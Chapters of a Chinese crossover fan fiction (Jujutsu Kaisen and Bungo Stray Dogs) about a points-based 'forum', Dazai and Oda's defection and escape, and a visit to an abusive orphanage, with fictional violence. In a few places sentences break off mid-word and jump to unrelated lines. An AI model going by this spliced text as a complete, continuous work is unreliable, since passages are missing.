“这是怎么回事？我们怎么突然在这里？” “这不是我的房子吗？为什么碎成这样…呀！这黏糊糊的东西是什么！” “我们…我们这是突然到了哪里啊？被怪物攻击了吗……” “那两个来帮我们的家伙呢？去哪了？” 夏油杰抱着两个孩子，和悟并排立在虹龙龙首，由上往下俯瞰。 底下的应该不叫村庄了，只剩下一块秃噜皮的土地——所有的房子、道路、植被和人全部消失，都被刚刚出现的咒灵一口吞下。 这是五条悟给夏油杰逮到的一个特级，它没什么攻击力，但是肚子和丑宝一样，有个非常错综复杂的庞大空间。而这个逼真的空间里不仅包括那些村民，还包括那几个真正侵扰村子的咒灵。 而那些犯下罪的家伙，会在幻觉里互相怀疑、被追杀逃亡，在恐惧中疲于奔命，经历同等的生死惩罚。 夏油杰抱着两个孩子，轻声询问，“你们都被关了多久？” “我不记得了。”美美子缩在杰怀里，声音虚弱。 菜菜子揪紧了黑发少年的校服领口，“一个月零七天。” 这个孩子在牢笼背后、在焚烧的仇恨里数着日子，把每一分每 【咒灵操使很抱歉回复迟了，之前在忙。是关于「无下限」具体什么方面呢？】 【织田作之助感谢。想问「无下限」是可以远距离用在别人身上？有隔绝攻击的效果吗？】 【咒灵操使理论上是可以的，「无下限」理论上来说是在控制空间的距离，将物体和物体之间的距离变成[无限]，从而产生的隔离效果。 不过实际战斗的时候，我的同伴一直是通过接触用在别人身上。作之助君那里是用的时候出现了什么情况吗？】 …… 硝子从浴室里走出来，满身都是水，头上也汗淋淋的。给两个孩子洗澡明显是个大工程。 但是成果显著。 姐妹俩被洗得干干净净，换上了夏油杰紧急从年长的高专前辈那里借来的小衣服。美美子头发是黑色的，而菜菜子有一头灿烂的金发。 “夏油大人！” 两个孩子看见杰，眼睛都亮亮的，光着脚丫子就奔了过来，一左一右乳燕投林一般扑进了少年怀里。 [救她们出牢笼]＋[治好了她们身上所有的伤]＋[说话声音很温柔笑起来也很温柔]，夏油杰在姐妹两人这里的男妈妈buff彻底叠满， 在回家路上就黏在他身上不肯下来，特别是菜菜子，悟一伸手就龇小牙，一副[别想把我和夏油大人分开]的警惕模样。 她们在路上知晓了杰的名字之后，就固执地用“大人”称呼，怎么都不愿意改过来。 殊途同归 “安吾这段时间麻烦你照顾了啊。” 徐徐的海风随着海鸥震动翅膀的声音,从一望无际的海波尖端吹拂而来，带着咸湿的气息，冲淡了城市边缘的那一圈燥热。 这里是一艘邮轮最高层的平台，有精致的围栏和舒适的桌椅,四周不见陆岸,是一座难以逃脱的移动孤岛。但在确认百分百安全的情况下,又是一个绝佳的秘密会面地点。 “不是他自己撞上来的吗,我们也就顺手一帮，”太宰治不紧不慢道“怎么样？人回来了并且完好无损,种田长官是不是该欠我们一个人情？” 坐在谈判桌另一侧的男人哈哈大笑，“真会开玩笑啊，太宰君。他自己的人情肯定是要欠的，这不就两边牵线见上了？” 中年男人和少年对视，两人在心中同时“啧”了一声，骂了句“狐狸”。 织田作之助没有选择面对面坐下,而是背着手站在绷带少年身后,将主导权全部交给了太宰治。 站着的好处有很多，比如，能随时观察到四周的情况,方便警戒。能用身体更大面积地挡住太宰的要害，更有效提防远距离的进攻。 四肢舒展也更有利于应战,不论是防御还是攻击……就算是在海面之上，周围分布了对方的十多名守卫，男人也有信心带着太宰全身而退。 不过,今天他们见面的家伙,行事应该不像黑暗势力那样无所顾忌。 织田不动声色观察面前的男人。 这位被称为“种田长官”的男人,是异能特务科的首领,应该是安吾的直属上司。对方身形魁梧，五官浓厚。发量偏少，却打理得很精致，和对方粗中带细的说话风格极为一致。 “如您所见，我和织田作之助从mafia叛逃了，”太宰耸耸肩，“mimic的事情长官您也清楚吧？森先生这次伤害到了我的朋友，我很生气，所以就不干了。” “有所耳闻，毕竟你们可是引起最近这场风波的[主谋田长官很明显将话题指向了[叛逃]，他双手交握，身体微微前倾，“所以今后太宰君和织田君有什么打算？” “当然是找点事糊口了，”太宰微笑，“顺便让森先生不痛快一下。” “有考虑过异能特务科吗？”种田长官手指敲敲桌面，不兜弯子，“和安吾做同事试试？你们之前是朋友吧。” “呀，很诱-人的提议啊。不过，我们俩都不太合适吧？都在那种地方待过了，跳过来不容易，”太宰叹口气道“而且我也不太习惯规章制度太严格的地方呢。” 前半句话用的“我们”，后半句话用的是“我”。 种田长官将这个细节记在心里。 “而且，听安吾说他要天天加班。”太宰补了一句。 “……咳，也没有那么夸张，”种田描补道“你们如果加入的话，就隶属于战斗部队了，他们…任务不多，很少加班。” 他算什么战斗人员啊，是只有织田作之助加入才算战斗人员吧。太宰心里呵呵，面上赞同，“哦，那听起来还不错。” 织田作之助在警戒四周，完全不知道在打机锋的两人，心思和话题中心都在自己身上。 这位异特科的领军人物在见到「人间失格」和「天衣无缝」的持有者后，心痒难耐。 明眼人都能看出来mafia最近势头正猛，除了分解并吞并其他势力之外，还靠的是双黑组合打拼出来的赫赫威名。 其中最年轻的mafia干部越让人头疼，就越能让任何组织的首领同时产生忌惮和惜才之心。 太宰治叛逃这事，估计除了森鸥外夜不能寐之外，其他所有的势力都在拍手称快并坐下吃瓜看热闹。 比起这些势力，身为官方势力的首领，种田长官可能还多出一份野心。 没错，他想拉人了。 异特科一直缺少人手是一方面，另一方面…太宰治这类人才值的不仅仅是异能，还有那颗脑袋瓜。 ——双黑的成功，靠得可不仅仅是重力使的高武力值。 太宰治身后这位织田作之助，种田长官在见面前其实并不熟悉，但是在调查之后吃了一惊。 「天衣无缝」的预知技能，这个异能力如果运用得当，可以说相当无敌。而其持有者在进入mafia之前的任务成功率也证明如此。 织田作之助前半截的履历确实不太光彩，但奇特的是，在对方在加入港口mafia之后，竟然就只干些底层的活，没有利用自己的异能力往上爬，也没脏过任何一次手。 甚至在那场龙头战争结束，他还收养了五个孩子。 这么多年过去，在叛逃之前，织田还依旧只是mafia底层成员。 种田长官切切实实地心动了。 比起太宰治的多智近妖、捉摸不定，织田作之助这种性格认真执拗的人，反倒是值得吸纳并培养。 刀很锋利不假，但是如果没有合适的鞘……连种田长官都没信心完全掌控。 森鸥外就是前车之鉴。 至于太宰治这里，让异能特务科帮忙清洗罪名，但是却不实际加入为他们所用，这种吃力不讨好的事情根本谈不成。 种田保持着爽朗的笑容，像是在等着一笔意料之中的交换。 太宰闻弦知意，果然开口了“种田长官，我这里还有另外一笔生意，不知道你是否感兴趣？” 种田长官“愿闻其详。” 太宰治先去看周围那些异特科手下，又去看织田。前者在首领的命令下散去更远的地方警戒，后者明显还有些担心，但是看到太宰成竹在胸的表情之后，选择交付信任。 “是很可靠的朋友呢。”在织田走后，异特科长官评价了一句。 “当然了～”太宰语调微扬。 “织田作！你离开好久啊！” 红发男人回到邮轮下一层房间，孩子们纷纷围了上来。除了优和咲乐留在房间里看了会书，其余小孩被带着在邮轮上玩了一圈，都兴奋得脸红扑扑的。 “嗯，我和太宰哥哥有事要忙，”织田看着几个男孩子汗蒸的小脸，转身去抽纸给他们擦，“邮轮上玩了什么有意思的项目？” 织田都不用这一问，孩子们就七嘴八舌分享起来。 男人认真地给出回应，思维却不自觉飘到了邮轮顶层的露台上。 织田作之助知道太宰治要交换什么。 mimic首领纪德一旦作为俘虏移交给官方，港口mafia就彻底失去了获得异能许可证的好机会，森鸥外在这之前与异特科谈好的条件全部泡汤。 这还不是结束，俘虏只是前菜，太宰真正拿来从异特科那里索取条件的，是关乎mafia脉门的情报。 实际上，那些重要情报在织田装文件的金色小方格里也存了一份。 太宰看见那方格没说什么，直接把u盘塞了进去。 “是用「堕-落论」从爱丽丝那个人形玩-偶那里摸过来的。”太宰声称这东西见者有份。 当然，这种东西前mafia干部不可能一下子全拿出来，不是他体谅老东家，但是，好处要一点一点榨出来嘛～ 这种把柄换出去，异特科那里能提供帮助不假，也可能招来mafia更为疯狂的打击报复。 织田作之助真为他捏一把汗。 不过，现在也没什么好担心的，因为他们早就在一条船上了。 “幸介，克巳，优，真嗣，咲乐，你们听好，”织田的声音放得很轻，似是安抚，“之后这些哥哥姐姐们会带着你们去安全的地方，你们保护好自己，我要离开一段时间。” “织田作，”幸介的笑容陡然消失，急性子的他直接问了出来，“你…你要抛弃我们了吗…！” “怎么可能，”红发男人温和地摸了摸孩子们的头，将所有人都抱进怀里，低声道“我只是有重要的事要办，外面有敌人会伤害到你们，所以大家要先藏起来。放心，我会抽空回去看你们的，绝对不会隔太久？” “不会太久是多久？” “一周一次？会每天打电话过来的，不用担心。” “……” 咚咚。开着的房门被人敲响。 “我没有打扰你吧？织田君。” 本该在露台的异特科首领出现在了门外，种田长官扫了一眼房间内的温馨场景，露-出爽朗的笑，“我有事想单独和你商量，现在空吗？” 太宰治在露台放空。 “好高——”他趴在栏杆上往下看，眼里全是遗憾，“我还没有试过从邮轮上面入海呢～虽然很想跳下去试试，但现在不是一个好时机，唉——” 黑棕发丝随风舞动，绷带也散了一截，在空中不安分地飘来飘去。 “太宰先生，”那两个陪同的异特科下属互相看了眼，一板一眼道，“邮轮上还有个东西您可能感兴趣，长官吩咐我们带您去看一看…” “不用特意带我去干什么，我没有感兴趣的东西。” 太宰的声音轻若无物。他翻过身，背靠在围栏之上，放松后仰，瞳孔里映出海鸥飞翔的身影，但仔细看又空无一物。 “我知道你们长官想干什么，安心吧，我安静地在这里待一会就好。” 两人面面相觑。 mafia·已叛逃版·最年轻干部，耳闻不如一见，真是个敏锐到恐怖的家伙啊。 放空的时间很短，也许只有几分钟。太宰眼角余光看见了陆地和码头。 “这么快？”太宰自言自语，“要离开了。” 绷带少年双手插兜，在邮轮顶层绕了一圈，才慢吞吞走下舷梯，黑风衣裹着他高高瘦瘦的身体，背影看上去有些孤单。 码头的拐角处停着一辆车，靠着一个人。对方抬起左腕看看时间，复又放下，眼神担忧地望着码头前侧。 在看见太宰的那一瞬，红发男人表情终于安定，大步朝人走来。 “没受伤吧？”织田第一件事就是检查绷带。 谁知道太宰治是真受伤了还是绑着玩玩？如果大意的话，连织田都会被完美地骗过去。 太宰眨眨眼，反射性把脖子和手腕露了出来。 他一句话没说，表情有些奇怪。 ——像是有种难以掩饰的情感要破土而出，一向坚固的假面在颤动之后，又艰难地重归平静。 “你…”太宰清清嗓子，语气听上去很轻松，还带着点抱怨，“你为什么没答应啊？我布局了这么久呢，连亲手抓到的mimic混-蛋都交出去了…” 织田“嗯”了一声，“所以种田长官答应我会好好照顾孩子，还能时不时见面。” “我不是说这个，”太宰鼓起脸颊，“是你，是你！真是的，成为光明正大的官方人员不好吗？带孩子也会轻松点吧？” 【来异能特务科吗？】 私下里，种田长官这么邀请他，劝说的理由都一模一样。 【带着孩子很辛苦吧？做什么都不能连累他们。你的履历我们会帮你洗白，到光明中间来吧。 ——给自己一次重新开始的机会。】 “因为我已经答应过你了。”织田把肩带上的武器调正，转身把车门拉开。 太宰愣了一下，“答应过我什么？” “一起去光明的地方啊。”织田把难得发呆的家伙往副驾驶上塞。 “……所以说，你先去啊，我后面再过去不是很好，你你你……”太宰半弯着腰，一边把头往车顶撞一边抱怨，整个人委屈得都要扭成一团了。 他叽叽咕咕，“什么乱七八糟的，错过了这么好的条件，把[太宰治]的[让织田作带孩子写小说]计划全盘打乱了啊！” “咔吧”——织田作之助稳稳地帮他把安全带系上了。 太宰脸颊鼓着，还没消气。 他大声控诉，“如果用森鸥外的最优解评价，织田作跟着我才是计划中的下下策！最差解！” “好，最差解。”红发男人戳了一下太宰的额头，“这是我的选择”。 他咚地一声关上车门，准备绕到另一边去开车。 太宰咚咚咚地敲车窗，“气死我啦！” 【你们离开这个码头，异特科能提供的保护就极为有限了，】种田长官的表情极为严肃，【会有无数的危险，即便如此，你也要选择这条路吗？】 也许太宰说得没错，在得到某样东西之后，注定要承担有一日会失去的危险。 但对于织田作之助而言，无论失去多少、失去多少次，他仍旧有勇气伸-出双手，去保护他掌心的全部。 这才是当下唯一的、最优的选择。 【您说得对，这一路上会有无数危险。】 织田笑笑。 【所以我希望他少受点伤。仅此而已。】 红发男人的脚步停滞，随后他陡然加速回身，拉车门解安全带一气呵成。 太宰“你改主意了…呃？！” 绷带少年被友人单手从副驾驶座上拎了起来，织田作之助一言不发，扯着身形单薄的太宰往最近的墩柱旁狂奔，随后一扑！ “轰————！”那辆低调的黑色轿车在两人身后被炸得粉碎。 “啊，”太宰被男人用身体遮得严严实实，他蠕动着探头去看外面的情况，得出结论，“这个，应该是红叶大姐在给某个笨蛋出气吧？” 新的逃亡随着这一声爆炸重新开启，织田在狙击手的连射中，带着太宰灵巧地躲过了十几发子弹，随后闪身进了掩体重多的集装箱卸货区。 “快跑！抄近路从另一侧出去！” “欸？可以回头跟异特科再借一辆车嘛～” “来不及了，水里也有敌人。” “唔哇，森先生大手笔！” 【感谢您的厚爱，我们的道路终究不同……】 【哈哈哈哈】种田长官发出一如既往的爽朗的笑声，【织田君，别这么急着下决定。】 首领的目光越过海面，落在在近在眼前的海岸线上。 线蜿蜒的另一侧，是熙熙攘攘的横滨。 【——这东西啊，也许到最后是相同的也说不定。】 “轰——轰轰——” 紫红色的异能光在远处架枪的点位炸响，援军一路飘一路单挑，两点之间直线最短，直接闪到了二人面前。 红发男人从拐角处闪身而出，一个肘击，追杀分队的最后一人昏迷倒下。 “没杀人吧？”织田蹙眉，朝金发男人确认。 “当然没有，这个鬼论坛…”魏尔伦似乎是在心中骂了几句，维持住了他优雅的姿态，“你们，我离开一会就狼狈成这样，行不行啊？” 话说得很嘲讽，但是配合外在形象，就有点效果不佳了。 ——魏尔伦似乎是去哪里做劫匪了，为了防止其他人认出自己，不仅换了黑乎乎的衣服，还带了个毛绒面罩，藏起了那头灿烂的金发。 看见那个滑稽的头巾，太宰治发出惊天动地的爆笑，“哈哈哈哈哈哈哈哈哈哈哈哈！” 魏尔伦……# 如果不是织田作之助在旁边拎着枪盯着，他这脾气臭的拳头已经揍上去了。 “哟！异能特务科潜入之行顺利吗？”太宰挤掉眼角的泪。 “你把大boss都引开了，能不顺利吗，”魏尔伦勉勉强强哼了声，语气还是挺暴躁，“没有摸到核心，不过没什么论坛的痕迹，可以确信不是他们搞的鬼。” “那我就放心啦，”太宰猫猫吐舌，四肢悬空，和织田作之助一起乖乖被拎着飞走转移。 “唉，你就乖乖听我的吧，不要那么不甘心嘛，”和一无所获的臭脸暗杀王不同，太宰笑容灿烂，“在分道扬镳之前，我们可要一起度过一段时间的逃亡生涯呢！” 狡兔多窟 听见[一段时间]这样的描述,魏尔伦手一抖，差点嫌弃地把人扔下去。 太宰在空中晃了几晃，随后在人快落地的时候在屏幕上操作了几下，偷偷拽紧了金发男人的长风衣角。 魏尔伦眼角余光冒出灿烂的金色,异能紫光被直接消除！ “噗通——！” 纯黑色“劫匪”完全没料到这个伤敌一万自损八千的骚操作,陨石一样往地上栽了过去！ 让他生气的是,太宰治为自己选了一个完美落点,身体一歪，诶呦一声滚进灌木丛里去了。 而他的手还黏在魏尔伦的风衣上。 于是,原本只是踉跄的暗杀王平衡被破坏，直接脸朝下摔了一个……呃没有狗吃屎！魏尔伦竟然双手俯卧撑起来了！ 宰治发出一声阴阳怪气的称赞，随后松开那只手，贱贱地把男人的风衣角褶皱抹平了，像是什么都没有发生过。 魏尔伦“……” 更让他生气的是，织田作之助估计预料到了,以卸力的姿势平稳落地后,特地让开了一步，出住了给他趴地的空间。 还趁着这个时间空隙转移位置，非常包庇地拦在他和太宰中间,防止某法国人对太宰治痛下杀手。 “很方便吧？”太宰朝一脸问号的织田炫耀他的新发现，“这是论坛的[寄放]功能,可以把异能力暂时剥离～！” 织田啊了一声，摸-摸下巴“……那太好了。” “嗯嗯，超级方便。”太宰手脚并用从一堆绿叶子里爬了出来。 “我说的不是这方面,现在就算你失去意识,「反转术式」也可以很顺利地使用了。” 男人如释重负,很明显思考了这个问题许久。 太宰“哦～”了一声,懂了。 如果「人间失格」在身上，那他受重伤只有一个选择，就是花费积分兑换「反转术式」。如果太宰失去意识，无法完成自愈也无法接受其他人治疗的话，情况就会变得十分危险。 有了剥离异能的[寄放]功能，那只花费很少的积分也可以治疗了。 当然，之前织田构想的方式是先同世界换异能，再跨世界换「反转术式」。步骤繁琐不说，同世界还会收更高的30%手续费……也就是说真到了危急关头，想救宰就得倾家荡产，还可能积分不够。 现在这个问题彻底解决了。 ……这个论坛出现没多久，但像是对他们的各种方面了如指掌。 织田心里这样的念头一闪而过。 “这个功能在哪里？”他问太宰。 原谅一个平时不刷手机更喜欢纸质书的中年男人吧，他能每天腾出时间多看看这面板比鬼画符还花的论坛，已经是非常勤奋了。 “在这里，”太宰戳了几下男人面前的屏幕，开始为织田自动触发讲解，“很便宜啊，5积分就能使用一次，无需投票，也可以在目标默认同意的情况下对其使用……最关键的不受时长限制，想用多久用多久……” 保尔·魏尔伦周身散发的黑气已经遮掩不住了。 绷带精对了对手指，改口，“诶呀，实在抱歉，这个存放还是有时间限制的～只不过受到使用者的状态影响——比如被拎着就存不住，说不准下会抱着舒服了心情就好了——你能理解的吧？保尔君～？” 织田点点头，无条件护犊子，“嗯，能理解。” 魏尔伦“……”你们这两个混-蛋人类，能不能考虑一下合作者的死活？！ 他发誓，下回一定把这只头像是臭鱼的家伙单独扔在追杀现场。 没了免费移动的重力，三个人只好乔装打扮叫了辆车。而太宰治下车后在热闹的中华街七拐八弯，最后带着两人来到了提前布置好的据点。 这地方很好认，借用了一个餐厅旁边的旧储物室。被极其小型的[帐]包裹着，只能通过刷论坛屏幕才能进去。 [帐]的保密功能十分优秀，人进去之后才能看见里面装的是什么急救包，武器，一些应急食品等，甚至还有临时用来休息的床铺。 据太宰称，这是他在叛逃前早出晚归忙活的主要内容，这种补给点在横滨不多不少，也就三十多处吧。 “……”魏尔伦承认被这东西给装到了。 “最重要的是这个。”太宰指挥魏尔伦赶紧把那丑掉牙的头套摘了。然后从箱子里拽出三件……灰斗篷。 斗篷很有个性，边缘破破烂烂的，织田作之助一眼就看出是mimic幽灵同款。 好家伙，好一个祸水东流。 以幽灵mimic名义行事，这口黑锅扣得又快又溜。 被押送默尔本监狱的纪德假如看见，估计要气得狂吐血。 十五分钟后，装备齐全的三个灰斗篷蹲在床铺上，商量有关论坛的大事。 ——他们的积分在不知不觉下，涨了120分。 魏尔伦耐着性子猜测“难道是看我们顺利逃脱了，给的奖励？” “正好相反，”太宰摸-摸下巴，“从我们自己身上拿积分，是难度最大的一件事情。” “会不会是救了平民？”织田突然道。 “嗯？为什么这么猜？” “……因为枪战的时候我有意识地避开了工人，两次，在我原本的预知里他们会被波及。” 织田道“当然，这也可能只是我的臆想…” “有点道理，说不准就是这样，”太宰弹了两下屏幕，“毕竟这可是个乐于助人的好论坛呢～” 魏尔伦凝视着金色的浅屏，不知道在想些什么。这段时间他一直是这种状态，在柔和和暴躁之间来回切换，这个论坛说是他的冷静剂也不为过。 太宰“对了，那个[畅聊之火]我试过了，第二个私聊就没有用了…唔，看来是个一次性的标识。” 魏尔伦“什么[畅聊之火]？” 织田“那太可惜了，我还以为你和五条悟能再见一次呢。” 魏尔伦“你们两个在说什么…” 太宰“不可能，哒咩哒咩，yue！” 魏尔伦“……” “啊！保尔先生！请看！”太宰瞪着闪亮亮的大眼睛，在某位法国男人爆发前，将自己的屏幕怼到了对方高挺的鼻梁前，“其他的事情都过去了，保尔先生不用操心啦，我们目前最主要的还是要搞清楚论坛的根本目的！用最快的方式！” 兰波的气息近在咫尺，魏尔伦没好气地被转移了话题，“到底是什么方式？” “当然是——哪种方式来分最快用哪种呀～”宰笑眯了眼，用指腹敲了敲论坛的【有事就干】任务板块 任务刷新了。 第一条是个人名。[中岛敦]。 第二条还是一个人名。[芥川龙之介]。 太宰边戳着那两个任务条边摇头，“唉，做这个任务，有种给论坛打黑工的感觉呢。” “我们真的要顺着论坛给的东西走吗，”魏尔伦硬邦邦道“你就这么自信，这个东西最后不会把人引入地狱？” “呵呵呵，地狱啊，我们早就身在其中了，未来倒是比现在有看头，”太宰声音轻飘飘的，“保尔先生的方法又是什么呢？” “把世界所有异能者组织都拎出来揍一顿，”魏尔伦阴测测道“找到幕后主使把他们宰掉，事情就结束了。” “哈哈哈哈哈哈哈哈哈哈！天哪！”太宰再次发出爆笑，盯着半罩着斗篷的男人左看右看，“织田快看，有笨蛋！” “……” “看来保尔先生还不知道术式具体是什么概念吧？”太宰摊手，“这样吧，我和织田开了权限，你借借看。” 魏尔伦挑眉，“【有分就买】？” “嗯哼，我们把公共账户的分借给你～你别换太贵的，省着点。诺，这个「咒灵操术」的四级咒灵就很不错。” 太宰晃晃手指，“不过，我需要先说明一下哦，你的昵称取得不是很好。” 魏尔伦“？” “因为，那边都是些正义得不行的家伙呢～” 金发男人面前跳出消息。 【[咒灵操使]拒绝了你的借用申请】 从发出到收到回音，版块发个新手帖子。 “——也就是说，中岛敦，和芥川龙之介，我们要从两个任务里面挑一个，是吧？” 魏尔伦吃下了一枚洗脑包，觉得什么论坛、术式和异世界的探索任重道远。 这两个名字一生一熟，魏尔伦和织田作之助目光不约而同落在后者上面。 “这不是你手底下的那个小崽子嘛，”魏尔伦是在mafia消沉了一阵，但这没影响他收集情报，“芥川龙之介？他还有个妹妹叫芥川银，首领想送她到我这里学习暗杀技。” “现在已经不是首领了，叫前首领。”宰平静地纠正，“你不也一样？” 他俩在boss那里的仇恨值估计都满格了。 太宰治的叛逃能放到明面上，举全mafia力量进行针对，魏尔伦叛逃这事就真只能打落牙齿混血吞。 人是mafia偷偷藏的，死亡证明是森鸥外拍板，现在嘎地一下人不知什么原因跟太宰跑了，森鸥外还能大张旗鼓抓人不成？ 魏尔伦烦的是国外势力，尤其是老东家法国那里，麻烦。他很想放开手脚大干一场，“那我回去一趟直接把人掳过来？这事应该很简单吧。” 就算被他弟中原中也打败之后削弱了，魏尔伦也是实打实的超越者，什么时候这么束手束脚过？ 潜入异能特务科给了他很大信心，让前暗杀王自信宝刀未老。 太宰翻了一个优雅的白眼，在场所有人都可以确信那是一枚白眼！ “我刚刚才说过什么？你嫌森鸥外的火还不够旺？”mafia那里就等着你行事太猖狂露-出把柄呢…暗杀王的仇家只会多不会少，“你现在的异能力已经不是全盛时期了，连被论坛提取的资格都没有吧？” 保尔·魏尔伦沉默了。 这是最奇怪的地方。在他加入之后，积分商城里并没有出现保尔·魏尔伦的重力异能，弄得他像个什么误入的黑户。 为什么兰波异能构建的论坛，没有承认他的异能呢？！ 情绪细腻又敏-感的法国人再次陷入emo。 织田听懂了太宰的言下之意。芥川龙之介要暂时放一放的话…“中岛敦是谁呢？我们该如何调查？” 光凭两个叛逃人员和一个黑户，在这横滨里边根据一个名字捞人……与大海捞针无异。 “啊，这个啊，简单简单，”太宰掏出手机，“还好联系方式没删掉呢～真是lucky～！” 他晃晃终端，给织田看email界面上的人名。 “啊啾！” 回到特务科的坂口安吾猛猛地打了个喷嚏。 他身旁被召出来的四级咒灵正帮忙整理文件，被这动静吓得抖了下脑袋上的触-须。 安吾揉揉鼻尖，纳闷，“……我最近应该没惹谁吧？” 中岛敦慢悠悠从昏迷中恢复意识。 他已经很习惯这种感觉了，一般在接受惩罚被关起来之后，他就需要同时忍受痛楚、饥饿、寒冷，以及恐怖到能吞噬一切的黑暗和孤独，一直熬到院长来听他认错为止。 这一次院长的怒火格外强烈，自己的四肢应该会更疼一些，也许要熬更久……嗯？怎么暖暖的麻麻的，感觉像是包扎过了？ 银发孩子大脑发懵。他小心翼翼眯开眼。 模糊的视线里，隐约出现了一个干净明亮的房间。自己似乎是躺在柔软到不可思议的床铺上，呼吸间都是阳光的味道。 但是有两个人影和这温馨的范围格格不入。 ——两个高大的…应该是男人，都披着看上去脏兮兮的灰色斗篷，聚在他床边的角落，不知道在谋划些什么。 小孩动动耳廓，听见那三个灰斗篷在悄悄说话。 “要省着用积分啊，不如用[帐]在这里继续设立据点。” “可以。” “听上去像什么中二的神秘势力入侵…” “对对，他们不仅仅用超自然力量，还暗算了各个势力引起内斗，还将魔爪伸向了年幼的异能力者们！颤-抖吧，横滨！” “……也不必这么形容自己。” 中岛敦“……！！！” 好恐怖啊！这些人是入侵者吗？他们在说什么…孤儿院难道被入侵了吗…？！ 小孩陡然急促的呼吸骗不过在场的任何一人。 “醒了吗？”两个阴影乌泱泱凑了过来。 敦吓坏了，闭着的睫毛绝望地颤-抖。 孩子耳边响起低沉的声音。 “我听说，把他的手举起来，如果他举着没放下——”其中男人把他的胳膊拽了起来，恶魔般低语道“那他就睡着了。” 敦一个激灵，原本要软下去的胳膊瞬间发力。 小孩稳稳当当，举得笔直。 太宰“哈哈哈哈哈哈哈哈哈！” 织田“……太宰，不要欺负小孩子。” 被欺负的小孩子这回整个身体都抖了起来。 敦他要被灭口了吗？救命qaq！ 天才直觉 拿到有关中岛敦准确情报,是离开补给点的两日之后。 横滨是个很小的地方，但是又像深潭，让水性不佳的人挣-扎漂浮,沉渊般的底部隐藏着湍急的苦难。 织田作之助在看到资料介绍上的“孤儿院”三个字时,就觉得事情并不简单。 三个人都不是拖沓的性格,当天下午就制定了行动计划。 想要无声无息潜入很容易，但是如果后续想把孩子带走,且不引起黑色势力的关注,是不小的挑战。三个人商量了之后,决定伪造一个身份正大光明进去探查。 ——当然，魏尔伦对这种事没什么兴趣,最后还是由织田作之助和太宰治出面。 “你好，院长先生。”织田将礼帽从头上拿下,颇为不习惯地将它扣在胸-前，“我是今天上午来预约拜访的。” 站在他对面的男人面向严肃,无表情地点点头,语气毫不热络,“你好，坂口先生。这位是…？” “你好，我是父亲的长子,”面对男人审视的目光,太宰治微微颔首,张口就来，“我对未来家庭的新成员很好奇,所以陪父亲来看一看。” 织田“父亲”被叫得浑身不自在。 院长的目光定了定。很明显,他认真看了太宰和织田事先提交的假资料,对“要拜访的先生是一位已经离异的单亲父亲,育有一子”这一点记忆深刻。 即便这位父亲看上去要年轻得多……实际情况和资料对上，应该也能让他稍稍放松一些警惕。 “你们好，欢迎来参观，”院长表情不变，眼里依旧带有审视，“二位的身份信息我已经看过了，看上去不太像横滨人，反而有点国外回来的感觉。” 哈，因为这套衣服是某位法国人替他们搭的。 这种情况下就直接顺着说。 “您真有眼光，”织田微笑，“家父曾经在法国留过学，就在那里认识了我的母亲。” 出门在外，身份是自己给的。很明显这位院长没那个能力识破他们俩的虚假身份情报。 院长又问了几句基本情况，末了解释道“请别怪我太过谨慎，因为在这个地方、在这个时间点，很少有人会主动过来要收养孩子。” “我理解的，一切都是为了孩子。”织田的笑容亲和力十足。 他温和的气息不仅在院长这里过了关，还吸引了胆怯的孩子们。再加上礼物的加持，织田在孩子们中的人气一升再升。在孤儿院住客热情的簇拥下，红发男人被带领着参观了活动室、卧室、教室等地方，了解了一下孩子们的日常。 他还借着小游戏，检查了一下，孩子们露在外的地方暂时都没发现异常。 但是，最大的异常，是他们真正的目标的缺失。 “你们今天是不是少一个同伴呢？”织田趁院长临时离开的时候，蹲下身小声询问，“我在卧室看过你们的合照，是不是还有一个银发的孩子？他在哪里？” 一个女孩怯怯地开口“敦他…那个…” “他、他在睡觉呢。”另一个男孩粗声粗气地打断了女孩的话。 “这个时候睡觉啊，”织田看了眼表，眼角余光一直在观察孩子们的表情，“这么久了，他一个人如果醒了肯定很孤单吧？你们愿意带我一起去看看他吗？” 所有孩子的目光都开始犹豫、躲闪，有几个内向的孩子本能地往其他人身后缩，还有的抿唇死死捏住了自己的衣角。 “对不起，织田先生，”胆子最大的男孩面色苍白，飞快地看了眼门口，随后小声道“那个地方，我们不被允许过去。” 孩子们的反应无一例外，都有些畏惧。 他们在害怕谁？ 在这个孤儿院里，他们唯一能够畏惧的…… 织田作之助对接下来要做的事情心里有数了。 “孩子们，接下来我需要大家保持安静，无论发生什么，都不要从这里出去。” 他看向最成熟的男孩，“你是哥哥对吗？我可以拜托你照顾好大家吗？” 男孩死死咬住嘴唇，似乎在做激烈的思想斗争，随后他开口轻声说了三个字。 “他有枪…” “我知道。”织田安抚摸了摸他的脑袋，站起身将门闭紧。太宰治正巧迎面走来，后面跟着单独聊天结束的院长。 红发男人和绷带少年视线对上，彼此都猜到了对方接下来的打算。 “很奇怪。”太宰就这样大咧咧地对织田开口了。 院长蹙眉，“什么奇怪？” 太宰哒哒哒贴到织田旁边，指着院长告状道“这个人一直偷偷问我身上为什么缠着绷带，还想摘下来看，好变-态！” 院长“……” “父亲大人，”太宰柔弱地依偎在了织田宽阔的肩膀上，“明明您最喜欢我缠着绷带了呢，尤其是手腕，还有这里，”太宰摸了摸脖子，语气荡漾，“这是您亲手缠上去的呢～” 明明是很正常的话，被太宰说出来，显得两人活脱脱俩神金。 织田作·被迫当变-态·之助“……？” 演上瘾了是吧。 院长很明显没见过这种大场面，“你…你们…？”他倏然盯着那暗红发色的衣冠禽-兽，一副逐客的姿态，“我们孤儿院不欢迎你这种人，趁我还没有报警之前快滚！” “哇，听上去是超级负责的院长大人呢！”太宰用略带好奇的眼神打量面前这人。对方试探他身上的绷带是不是真的，明显是担心他的“父亲大人”是什么虐待狂，看上去完完全全是个关心孩子的烂好人。 但是…… “您表现得像个好人，实际上好像不是欸？” “不许动。”织田已经举起了枪，“我们来寻找中岛敦。他在哪里？” 男人的枪口锁定住抬起胳膊的院长。 “腰间是孩子能够到的地方。”织田突然道。 有过五个孩子的养育经验，最强奶爸反手一个教育，“这样放在后腰，太危险了。” 院长喉结滑-动，侧颊有冷汗滑落。 他还没拔-出-来…确切来说，他还没做出动作，只是脑袋里想了一下，那个男人怎么就知道他背后别了把枪？ 读心？ 太宰治朝他证明谁才是真正读心的那一个。 “我明白了。你真是一个很矛盾的人，似乎是用真心在对待孩子们，但是又会对他们施以虐待。你难道觉得这是一种优秀的教育方式吗？” “……难道不是吗？”院长咬牙，辩驳道“这是一个残酷的世道，我不这么做，也总会有人教会他们这些。” “没有任何教育会刻意将暴力诉诸其中。”织田声音沉重。 